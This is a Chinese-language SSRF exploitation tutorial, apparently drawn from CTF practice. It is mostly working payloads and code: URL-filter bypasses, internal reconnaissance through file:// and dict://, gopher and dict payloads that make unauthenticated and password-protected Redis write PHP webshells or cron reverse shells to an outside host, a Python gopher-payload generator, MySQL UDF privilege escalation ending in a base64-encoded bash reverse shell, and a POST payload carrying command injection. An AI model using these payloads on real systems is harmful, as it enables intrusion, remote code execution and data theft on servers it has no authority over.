SSRF(service side request forgery) 服务端请求伪造,是由服务端发起的
file_get_contents() 把一个文件当做字符串进行读取 默认是没有回显的,需要echo输出来查看 不支持PHP中的伪协议,可以读取一个url
<?php echo file_get_contents ('http://www.baidu.com' )?>
file_get_contents是可以读取其他目录下的文件的,当输入他不能识别的协议时,他会把这个不能识别的协议当做一个目录,我们使用../即可实现路径穿越,读取文件
<?php echo file_get_contents ('a://undefind/../../../flag.txt' );?>
curl <?php function curl ($url ) { $c =curl_init (); curl_setopt ($c , CURLOPT_URL, $url ); curl_exec ($c ); curl_close ($c ); } $url =$_GET ['url' ];curl ($url );?>
parse_url 将传入的url解析
<?php $url ="https://www.baidu.com/index.php?id=1" ;print_r (parse_url ($url ));?>
bypass
<?php error_reporting (0 );highlight_file (__FILE__ );$url =$_POST ['url' ];$x =parse_url ($url );if (preg_match ('/^http:\/\/ctf\..*show$/i' ,$url )){ echo file_get_contents ($url ); }
payload:
url=http://ctf.@127.0.0.1/flag.php?show
fsockopen fsockopen($hostname,$port,$errno,$errstr,$timeout)用于打开一个网络连接或者一个Unix 套接字连接,初始化一个套接字连接到指定主机(hostname),实现对用户指定url数据的获取。该函数会使用socket跟服务器建立tcp连接,进行传输原始数据。 fsockopen()将返回一个文件句柄,之后可以被其他文件类函数调用(例如:fgets(),fgetss(),fwrite(),fclose()还有feof())。如果调用失败,将返回false。
<?php $host =$_GET ['url' ];$fp = fsockopen ($host , 80 , $errno , $errstr , 30 );if (!$fp ) { echo "$errstr ($errno )<br />\n" ; } else { $out = "GET / HTTP/1.1\r\n" ; $out .= "Host: $host \r\n" ; $out .= "Connection: Close\r\n\r\n" ; fwrite ($fp , $out ); while (!feof ($fp )) { echo fgets ($fp , 128 ); } fclose ($fp ); } ?>
题目来源于hnctf
<?php highlight_file (__FILE__ );error_reporting (0 );$data =base64_decode ($_GET ['data' ]);$host =$_GET ['host' ];$port =$_GET ['port' ];$fp =fsockopen ($host ,intval ($port ),$error ,$errstr ,30 );if (!$fp ) { die (); } else { fwrite ($fp ,$data ); while (!feof ($data )) { echo fgets ($fp ,128 ); } fclose ($fp ); }
payload
<?php $host ='127.0.0.1' ;$out = "GET /flag.php HTTP/1.1\r\n" ;$out .= "Host: $host \r\n" ;$out .= "Connection: Close\r\n\r\n" ;echo base64_encode ($out );
常见的协议 file:// 读取文件dict:// 探测端口开放情况gopher协议 可用于发起get ,post请求,能够与redis交互 SMTP fast-cgi……fast-cgi协议 快速通用网关接口
ssrf中的信息搜集 ssrf是可以攻击内网其他机器的,我们要做的第一步就是获取当前机器的内网网段,以便于对其他机器进行扫描
file:///etc/hosts 高权限还可以读取 /proc/net/arp /etc/network/interfaces
如果有phpinfo界面,也是可以看到ip信息的(server_adde) 正常来说需要用dict协议扫描一个网段下所有ip地址的全端口,这样需要发送65535x255个包,太慢了 我们对255个ip进行常见端口的扫描,如80 3306 6379 8080 …… 或者先url=http://172.0.1.1-255
攻击fast-cgi 使用gopherus生成payload
python2 gopherus.py --exploit fastcgi //选择一个存在的文件 //输入要执行的命令
将生成的payload进行url编码(encodeURIComponent编码方式,会对特殊符号编码),编码后的字母都需要大写 exp:
攻击未授权redis 存在web应用(写shell) 使用gopherus生成payload
python2 gopherus.py --exploit redis //phpshell //选择要写入的目录 //<?php system('cat /flag' ); ?>
将生成结果url编码(不包括所有字符) exp
?url=gopher%3A%2F%2F172.20.0.2%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252430%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2527cat%2520f%252A%2527%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
在这里有可能写入文件失败,是因为/var/www/html目录下没有写入权限,我们可以接着对web应用做一个路径扫描,接着将写马的位置设置到二级目录下,如/var/www/html/upload即可
因为是不需要密码的,所以也可以使用dict协议来进行写shell
dict://172.72.23.27:6379/info dict://172.72.23.27:6379/flushall dict://172.72.23.27:6379/config set dir /var/spool/cron/ dict://172.72.23.27:6379/config set dbfilename root dict://172.72.23.27:6379/set x "\n<?php eval($_POST [1]); ?>\n" dict://172.72.23.27:6379/save
不存在web应用(反弹shell) 在burp下放包(防止浏览器编码的问题)
dict://172.72.23.27:6379/info dict://172.72.23.27:6379/flushall dict://172.72.23.27:6379/config set dir /var/spool/cron/ dict://172.72.23.27:6379/config set dbfilename root dict://172.72.23.27:6379/set x "\n* * * * * /bin/bash -i >%26 /dev/tcp/x.x.x.x/2333 0>%261\n" dict://172.72.23.27:6379/save
攻击授权redis 首先需要知道redis的密码,redis密码常见路径
/etc/redis.conf /etc/redis/redis.conf /usr/local/redis/etc/redis.conf /opt/redis/ect/redis.conf
验证redis密码
url=dict://172.72.23.28:6379/auth P@ssw0rd
dict不支持多行命令 所以只能使用gopher协议 抓取通信流量
*2\r $4 \rauth\r $8 \rP@ssw0rd\r *1\r $8 \rflushall\r *4\r $6 \rconfig\r $3 \rset \r$3 \rdir \r$13 \r/var/www/html\r *4\r $6 \rconfig\r $3 \rset \r$10 \rdbfilename\r $9 \rshell.php\r *3\r $3 \rset \r$1 \rx\r $21 \r<?php phpinfo(); ?> \r *1\r $4 \rsave\r
生成脚本 可以反弹shell也可以生成shell,其实本质都是一样的,利用redis在特定的位置写入文件
import urllib.parseprotocol = "gopher://" ip = "127.0.0.1" port = "6788" shell = "\n\n<?php phdsgrgregregreg();?>\n\n" filename = "mo60.php" path = "/var/www/html" passwd = "P@ssw0rd" cmd = ["flushall" , "set 1 {}" .format (shell.replace(" " ,"${IFS}" )), "config set dir {}" .format (path), "config set dbfilename {}" .format (filename), "save" , "quit" ] if passwd: cmd.insert(0 ,"AUTH {}" .format (passwd)) payload = protocol + ip + ":" + port + "/_" def redis_format (arr ): CRLF = "\r\n" redis_arr = arr.split(" " ) cmd = "" cmd += "*" + str (len (redis_arr)) for x in redis_arr: cmd += CRLF + "$" + str (len ((x.replace("${IFS}" ," " )))) + CRLF + x.replace("${IFS}" ," " ) cmd += CRLF return cmd if __name__=="__main__" : for x in cmd: payload += urllib.parse.quote(redis_format(x)) print (urllib.parse.quote(payload))
攻击无密码mysql 直接使用gopherus即可,可以尝试udf提权 udf(User Defined Function)用户自定义函数
show variables like '%plugin%' ; 拿到 MySQL 的插件目录为:/usr/lib/mysql/plugin/ SELECT 0x7f454c460...省略大量payload...0000000 INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so' ; CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so' ; select sys_eval('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMTEuNTUuMi8yMzMzIDA+JjE=|base64 -d|bash -i' )
发起POST请求 如果所有数据使用以post进行发送的话,要在请求头中删除Accept-Encoding: gzip, deflate,防止二次编码 需要把post包的Content-Length填写正确
a=input ('输入要判断的信息:' ) print ('Content-Length为:' ,len (a))
编码脚本
import urllib.parsepayload =\ """POST / HTTP/1.1 Host: 172.72.23.24:80 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Content-Type: application/x-www-form-urlencoded Content-Length: 28 Connection: close Upgrade-Insecure-Requests: 1 ip=172.0.0.1|cat /etc/passwd """ tmp = urllib.parse.quote(payload) tmp=tmp.replace('%3A' ,':' ) tmp=tmp.replace('%0A' ,'%0D%0A' ) tmp = urllib.parse.quote(tmp) tmp=tmp.replace('%3A' ,':' ) result = 'gopher://172.72.23.24:80/' +'_' +tmp print (result)
思路: 1.对数据进行url编码,使用%0a代替换行符 2.将%0a换成%0d%0a,在末尾也加上%0d%0a 3.再次url编码